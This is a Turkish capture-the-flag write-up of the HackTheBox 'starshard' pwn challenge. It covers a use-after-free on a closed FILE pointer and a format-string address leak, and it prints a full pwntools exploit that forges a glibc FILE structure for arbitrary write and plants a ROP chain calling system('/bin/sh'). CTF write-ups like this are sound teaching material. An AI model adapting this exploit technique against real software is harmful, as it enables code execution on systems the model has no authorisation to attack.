7 dakika
starshard - HackTheBox - University CTF
Özet #
Bu CTF sorusunda use-after-free ve format-string zafiyetleri bulunmaktadır.
fclose ile bellekten düşürülen FILE* yapısı NULL’a eşitlenmemiştir.
Bu yapı daha sonrasına fputs fonksiyonuna parametre olarak verilmiştir.
ASLR yapısı ile değişkenlik gösteren bellek adresleri ise programın başında
sorulan ve direkt format fonksiyonuna verilen input ile öğrenilmiştir.
Kullanılan LIBC versiyonu #
Yarışmada program ile beraber kullanılacak olan glibc versiyonu da
beraberlinde verilmiştir: ld-2.34.so, libc.so.6 Bellek zafiyetinde
bu libc versiyonuna göre hareket edeceğiz.
Program Çalışma Yapısı #
Program öncelikle bizden bir isim istiyor, bu isim sonrasında direkt olarak
format fonksiyonuna girdi olarak veriliyor. Daha sonra bir döngü içerisinde
bize 5 seçenek sunuyor.
- [1] Arm Starshard Routine
- [2] Attach Wish-Script Fragment
- [3] Cancel Routine
- [4] Commit Routine
- [5] Quit
Bu seçenekler sırasıyla şu fonksiyonları çağırmaktadır: arm_routine, feed_fragment, cancel_routine, commit_routine.
5. seçenek ise bir fonksiyon çağırmamakta, döngüyü sonlandırmaktadır.
Zafiyetler #
Bir exploit oluşturmak için fonksiyonların tam olarak neler yaptığına bakmak gerekiyor.
ilk fonksiyonumuz olan arm_routine fonksiyonunun IDA altındaki çıktısı bu şekildedir:
void __cdecl arm_routine()
{
size_t v0; // rax
int ch_0; // [rsp+4h] [rbp-Ch]
size_t i; // [rsp+8h] [rbp-8h]
console_state.core_log = fopen("starshard_core.txt", "a");
if ( !console_state.core_log )
{
perror("fopen");
exit(1);
}
setvbuf(console_state.core_log, 0LL, 2, 0LL);
printf("Enter Starshard Routine Name: ");
for ( i = 0LL; i <= 0x17; ++i )
{
ch_0 = fgetc(stdin);
if ( ch_0 == -1 || ch_0 == '\n' )
break;
v0 = i;
console_state.spell_name[v0] = ch_0;
}
printf("[*] Routine Armed — %s\n", console_state.spell_name);
}
Bu fonksiyona baktğımızda öncelikle fopen ile bir FILE1 yapısı ayırmaktadır,
sonrasında setvbuf ile buffer’lamayı kapatmaktadır.
Daha sonra kullanıcıdan bir isim alıp console_state.spell_name adresine koymaktadır.
Sonraki fonksiyonumuz olan feed_fragment fonksiyonunun IDA altındaki görüntüsü ise şu şekildedir:
void __cdecl feed_fragment()
{
char size_str[16]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( console_state.core_log )
{
console_state.spell_fragment = 0LL;
console_state.fragment_sz = 0LL;
printf("Wish-Script Fragment Size: ");
memset(size_str, 0, sizeof(size_str));
if ( fgets(size_str, 16, stdin) )
{
console_state.fragment_sz = strtoull(size_str, 0LL, 10);
if ( console_state.fragment_sz <= 500 )
{
console_state.spell_fragment = (char *)malloc(console_state.fragment_sz);
if ( !console_state.spell_fragment )
{
perror("malloc");
exit(1);
}
puts("Input Wish-Script Fragment:");
if ( fgets(console_state.spell_fragment, LODWORD(console_state.fragment_sz) - 1, stdin) )
puts("[*] Fragment Stored.");
else
puts("[!] Fragment input error.");
}
else
{
puts("[!] Fragment exceeds safe sparkle limit.");
}
}
else
{
puts("[!] Invalid input.");
}
}
else
{
puts("[!] No active Starshard routine.");
}
}
Bu fonksiyon çok daha uzun, ancak yaptığı şey basit.
Eğer bir core_log açıldıysa, 500’dan az olmak şartıyla kullanıcının belirttiği boyutta
bellek bölgesini malloc ile ayırmaktadır.
Ayırdığı bölgeye ise kullanıcıdan aldığı girdiyi yazmaktadır.
Bir incelik olarak ise önceki yazılan pointer’i free’lememektedir.
Bir sonraki fonksiyonumuz olan cancel_routine fonksiyonuna baktığımızda ise:
void __cdecl cancel_routine()
{
if ( console_state.core_log )
{
fclose(console_state.core_log);
puts("[*] Routine Cancelled.");
}
else
{
puts("[!] No active routine.");
}
}
Eğer bir core_log yapısı varsa bunu fclose ile kapatmaktadır. Sorun şu ki sonrasında pointer’i
0’a eşitlememektedir.
Bu bir zafiyet oluşturmaktadır, biz de bu zafiyeti kullanacağız.
Son fonksiyonumuz commit_routine ise şu şekildedir:
void __cdecl commit_routine()
{
if ( console_state.core_log )
{
fputs(console_state.spell_fragment, console_state.core_log);
puts("[*] Routine Committed to Starshard Core.");
}
else
{
puts("[!] No active routine.");
}
}
Bu fonksiyon ise eğer core_log yapısı bulunmaktaysa fputs2 foknisyonu ile spell_fragment
stringimizi core_log isimli stream’e yazmaktadır.
Exploit #
Elimizde nur topu gibi iki exploit bulunmaktadır:
- Memory Write
- Format String
Bu ikisini kullanarak programın akışını ele geçireceğiz
Memory Write #
Öncelikle mevcut use-after-free zafiyetinden yararlanarak memory’ye isteiğimiz yere yazma işlemi gerçekteştirebiliyoruz. Yapmamız gereken şey önce ise sırasıyla:
arm_routineile core_log yapısı allocate etmekcancel_routineile bu memory adresini free’lemek (pointer free edilmiş yeri işaret ediyor)feed_fragmentileFILEyapısı büyüklüğünde (yaklaşık 460 byte) ve yapısında allocation yapıyoruz.-
- Bu kısımda bu yapıya yazacağımız veri, bir
FILEyapısı oluşturmalıdır.
- Bu kısımda bu yapıya yazacağımız veri, bir
-
- Bu yapıyı oluşturmak için önemli değişkenler
FILEyapısındaki_flagsdeğişkeni ve buffer pointer’leri olacaktır.
- Bu yapıyı oluşturmak için önemli değişkenler
-
- Öncelikle kaynak kodunda da belirtildiği üzere ‘High-order word is _IO_MAGIC’ olması gerekmektedir, diğer flag’ları ise tekrardan kaynak kodundan erişebiliriz3.
-
_IO_write_base,_IO_write_ptr,_IO_buf_basedeğişkenlerine yazmak istediğimiz adresin başlangıcını yazıyoruz.
-
_IO_write_end,_IO_buf_enddeğişkenlerine ise yazacağımız adres + verinin boyutunu yazıyoruz.
- Bu yapıyı yazdıktan sonra artık
core_logadresinin gösterdiği yerde istediğimiz yere yazabileceğimiz birFILEyapısı bulunmaktadır. - Yazmak istediğimiz veriyi ise
feed_fragmentfonkisyonunu tekrar kullanarak bir buffer’a yazıyoruz. - İki kere
commit_routinefonksiyonunu çağırıyoruz ve bu sayede istediğimiz veriyi yazmak istediğmiiz adrese yazabiliyoruz.
📝 Not
Açıkçası neden iki commit çağırdığımızı bilmiyorum, bir kere çağırdığımda çalışmıyordu, rastgele denemeler yaparken bu fonksiyonu iki kere çağırdığımda çalıştığını fark ettim.
Bu özellikleri sağlayan bir payload oluşturan python kodu ise şu şekildedir:
def generate_file_for_addr_write(addr, buflen):
payload = b""
# 0x00: _flags (appending, writable)
payload += p64(0xfbad0000)
# 0x08–0x18: read pointers (önemsiz)
payload += p64(0) * 3
# 0x20: _IO_write_base
payload += p64(addr)
# 0x28: _IO_write_ptr
payload += p64(addr + buflen)
# 0x30: _IO_write_end
payload += p64(addr + buflen)
# 0x38: _IO_buf_base
payload += p64(addr)
# 0x40: _IO_buf_end
payload += p64(addr + buflen)
# 0x48–0x68: save / markers / chain (önemsiz)
payload += p64(0) * 4
# 0x70: _fileno
payload += p64(0)
return payload
Format String #
Programın en başında bize sorulan isim girdisi direkt olarak format fonksiyonuna verildiği için direkt olarak programın stack, base ve libc adreslerini
elde edebiliyoruz.
printf("Tinselwick Tinkerer Name: ");
if ( fgets(console_state.tinkerer_name, 16, stdin) )
{
console_state.tinkerer_name[strcspn(console_state.tinkerer_name, "\n")] = 0;
printf("=== Welcome ");
printf(console_state.tinkerer_name);
puts(" — Starshard Console ===");
Burada :%p:%10$p:%29$p inputunu kullanarak sırasıyla stack, binary base ve glibc base adreslerini çıkarabiliyoruz.
p.recvuntil(b"Tinkerer Name: ")
p.sendline(b":%p:%10$p:%29$p")
addreseses = p.recvuntil(b"rd Consol").split(b':')
log.info(f"addreseses: {addreseses}")
ptr = int(addreseses[1], 16)
bin_base = int(addreseses[2], 16) - 0x40
glibc_base = int(addreseses[3][0:14], 16) - 0x207d - 0x2c000
Shell #
Artık shell elde etmek için ihtiyacımız olan her şeye sahibiz.
Bir ROP chain kurarak libc içindeki system fonksiyonunu /bin/sh string’i ile çağıracağız.
Bunun için programın main loop’tan çıktıktan sonraki return adresini hesaplayıp o adrese bir ROP
yerleştiriyoruz.
Yerleştirdiğimiz ROP şu şekilde:
- RET;
- POP RDI; RET
- BINSH_STR
- SYSTEM_ADDR
Bu sayede program main fonksiyonunda dönmeye çalıştığında öncelikle stack alignment için bir ret yapacak,
sonra POP RDI; RET ile stack’taki son olan /bin/sh string adresini RDI‘a alıp system fonksiyonuna dönecek.
Bu şekilde sistem üzerinde shell elde ediyoruz.
Tüm exp.py ise şu şekildedir:
#!/usr/bin/env python3
from pwn import *
p = process("./starshard_core")
context.binary = "./starshard_core"
context.gdb_binary = "pwndbg"
if args.TMUX:
context.terminal = ['tmux', 'split-pane', '-h']
if args.GDB:
gdb.attach(p)
def next_prompt():
p.recvuntil(b"> ")
def arm(name: bytes):
next_prompt()
p.sendline(b"1")
p.recvuntil(b"Name: ")
p.sendline(name)
def feed_frac(size: int, buf: bytes):
next_prompt()
p.sendline(b"2")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.sendline(buf)
def cancel():
next_prompt()
p.sendline(b"3")
def commit():
next_prompt()
p.sendline(b"4")
def finish():
next_prompt()
p.sendline(b"5")
def generate_file_for_addr_write(addr, buflen):
payload = b""
# 0x00: _flags
payload += p64(0xfbad0000)
# 0x08–0x18: read pointers (önemsiz)
payload += p64(0) * 3
# 0x20: _IO_write_base
payload += p64(addr)
# 0x28: _IO_write_ptr
payload += p64(addr + buflen)
# 0x30: _IO_write_end
payload += p64(addr + buflen)
# 0x38: _IO_buf_base
payload += p64(addr)
# 0x40: _IO_buf_end
payload += p64(addr + buflen)
# 0x48–0x68: save / markers / chain (önemsiz)
payload += p64(0) * 4
# 0x70: _fileno
payload += p64(0)
return payload
def write_to_addr(addr, buf: bytes):
arm(b"/bin/sh")
cancel()
feed_frac(460, generate_file_for_addr_write(addr, len(buf)))
feed_frac(len(buf), buf)
commit()
commit() # neden iki kere hiçbir fikrim yok, rastgele denerken oldu
p.recvuntil(b"Tinkerer Name: ")
p.sendline(b":%p:%10$p:%29$p")
addreseses = p.recvuntil(b"rd Consol").split(b':')
log.info(f"addreseses: {addreseses}")
ptr = int(addreseses[1], 16)
bin_base = int(addreseses[2], 16) - 0x40
glibc_base = int(addreseses[3][0:14], 16) - 0x207d - 0x2c000
console_state_var_off = 0x4060
console_state_spell_name_off = 0x10
libc_system_off = 0x54AD0
libc_system_addr = libc_system_off + glibc_base
libc_ret_off = 0x2c7a9
libc_ret_addr = glibc_base + libc_ret_off
# ROP
libc_pop_rdi_ret = 0x2e6c5
libc_pop_rdi_ret_addr = glibc_base + libc_pop_rdi_ret
binsh_str = bin_base + console_state_var_off + console_state_spell_name_off
log.success(f"Leaked pointer: {hex(ptr)}")
log.success(f"Binary Base: {hex(bin_base)}")
log.success(f"glibc base: {hex(glibc_base)}")
libc_ret_main_diff = 0x2138
ret_addr_ptr = ptr + libc_ret_main_diff
log.info(f"libc_ret_off: {hex(libc_ret_main_diff)}")
log.info(f"RET ADDR PTR: {hex(ret_addr_ptr)}")
log.info(f"libc ret addr: {hex(libc_ret_addr)}")
log.info(f"libc pop rdi ret: {hex(libc_pop_rdi_ret_addr)}")
log.info(f"binsh str: {hex(binsh_str)}")
log.info(f"libc system: {hex(libc_system_addr)}")
write_to_addr(ret_addr_ptr, p64(libc_ret_addr))
write_to_addr(ret_addr_ptr + 8, p64(libc_pop_rdi_ret_addr))
write_to_addr(ret_addr_ptr + 16, p64(binsh_str))
write_to_addr(ret_addr_ptr + 24, p64(libc_system_addr))
finish()
p.sendline(b"cat flag.txt")
p.interactive()
Kaynakça #
-
GNU C Library (glibc) —
struct _IO_FILE
https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/bits/types/struct_FILE.h#L49 ↩︎ -
GNU C Library (glibc) —
extern int fputs __P ((__const char *__restrict __s, FILE *__restrict __stream));https://elixir.bootlin.com/glibc/glibc-2.0.99/source/stdio/fputs.c#L26 ↩︎ -
GNU C Library (glibc) —
_IOflags https://elixir.bootlin.com/glibc/glibc-2.34/source/libio/libio.h#L67 ↩︎
htb ctf writeup university binary exploit pwn use-after-free format-string
1317 Kelime
2025-12-31 00:00